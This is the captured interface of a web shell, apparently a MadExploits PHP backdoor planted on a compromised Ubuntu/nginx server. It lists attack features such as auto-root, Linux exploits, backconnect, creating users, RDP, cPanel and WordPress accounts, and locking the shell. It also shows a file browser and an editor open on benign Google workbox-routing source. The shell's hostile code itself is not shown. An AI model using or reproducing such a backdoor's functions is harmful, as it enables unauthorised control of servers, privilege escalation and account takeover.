Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
amatya /
quiz1 /
node_modules /
workbox-routing /
[ HOME SHELL ]
Name
Size
Permission
Action
build
[ DIR ]
dr-xr-xr-x
src
[ DIR ]
dr-xr-xr-x
utils
[ DIR ]
dr-xr-xr-x
LICENSE
1.03
KB
-rw-rw-rw-
NavigationRoute.d.ts
2.59
KB
-rw-rw-rw-
NavigationRoute.js
4.47
KB
-rw-rw-rw-
NavigationRoute.mjs
37
B
-rw-rw-rw-
README.md
116
B
-rw-rw-rw-
RegExpRoute.d.ts
1.27
KB
-rw-rw-rw-
RegExpRoute.js
2.99
KB
-rw-rw-rw-
RegExpRoute.mjs
33
B
-rw-rw-rw-
Route.d.ts
1.42
KB
-rw-rw-rw-
Route.js
2.13
KB
-rw-rw-rw-
Route.mjs
27
B
-rw-rw-rw-
Router.d.ts
5.02
KB
-rw-rw-rw-
Router.js
16.35
KB
-rw-rw-rw-
Router.mjs
28
B
-rw-rw-rw-
_types.d.ts
2.14
KB
-rw-rw-rw-
_types.js
2.68
KB
-rw-rw-rw-
_types.mjs
28
B
-rw-rw-rw-
_version.d.ts
0
B
-rw-rw-rw-
_version.js
92
B
-rw-rw-rw-
_version.mjs
71
B
-rw-rw-rw-
index.d.ts
571
B
-rw-rw-rw-
index.js
696
B
-rw-rw-rw-
index.mjs
27
B
-rw-rw-rw-
package.json
740
B
-rw-rw-rw-
registerRoute.d.ts
1.09
KB
-rw-rw-rw-
registerRoute.js
3.93
KB
-rw-rw-rw-
registerRoute.mjs
35
B
-rw-rw-rw-
setCatchHandler.d.ts
466
B
-rw-rw-rw-
setCatchHandler.js
747
B
-rw-rw-rw-
setCatchHandler.mjs
37
B
-rw-rw-rw-
setDefaultHandler.d.ts
567
B
-rw-rw-rw-
setDefaultHandler.js
850
B
-rw-rw-rw-
setDefaultHandler.mjs
39
B
-rw-rw-rw-
tsconfig.json
232
B
-rw-rw-rw-
tsconfig.tsbuildinfo
32.06
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : RegExpRoute.js
/* Copyright 2018 Google LLC Use of this source code is governed by an MIT-style license that can be found in the LICENSE file or at https://opensource.org/licenses/MIT. */ import { assert } from 'workbox-core/_private/assert.js'; import { logger } from 'workbox-core/_private/logger.js'; import { Route } from './Route.js'; import './_version.js'; /** * RegExpRoute makes it easy to create a regular expression based * {@link workbox-routing.Route}. * * For same-origin requests the RegExp only needs to match part of the URL. For * requests against third-party servers, you must define a RegExp that matches * the start of the URL. * * @memberof workbox-routing * @extends workbox-routing.Route */ class RegExpRoute extends Route { /** * If the regular expression contains * [capture groups]{@link https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp#grouping-back-references}, * the captured values will be passed to the * {@link workbox-routing~handlerCallback} `params` * argument. * * @param {RegExp} regExp The regular expression to match against URLs. * @param {workbox-routing~handlerCallback} handler A callback * function that returns a Promise resulting in a Response. * @param {string} [method='GET'] The HTTP method to match the Route * against. */ constructor(regExp, handler, method) { if (process.env.NODE_ENV !== 'production') { assert.isInstance(regExp, RegExp, { moduleName: 'workbox-routing', className: 'RegExpRoute', funcName: 'constructor', paramName: 'pattern', }); } const match = ({ url }) => { const result = regExp.exec(url.href); // Return immediately if there's no match. if (!result) { return; } // Require that the match start at the first character in the URL string // if it's a cross-origin request. // See https://github.com/GoogleChrome/workbox/issues/281 for the context // behind this behavior. if (url.origin !== location.origin && result.index !== 0) { if (process.env.NODE_ENV !== 'production') { logger.debug(`The regular expression '${regExp.toString()}' only partially matched ` + `against the cross-origin URL '${url.toString()}'. RegExpRoute's will only ` + `handle cross-origin requests if they match the entire URL.`); } return; } // If the route matches, but there aren't any capture groups defined, then // this will return [], which is truthy and therefore sufficient to // indicate a match. // If there are capture groups, then it will return their values. return result.slice(1); }; super(match, handler, method); } } export { RegExpRoute };
Close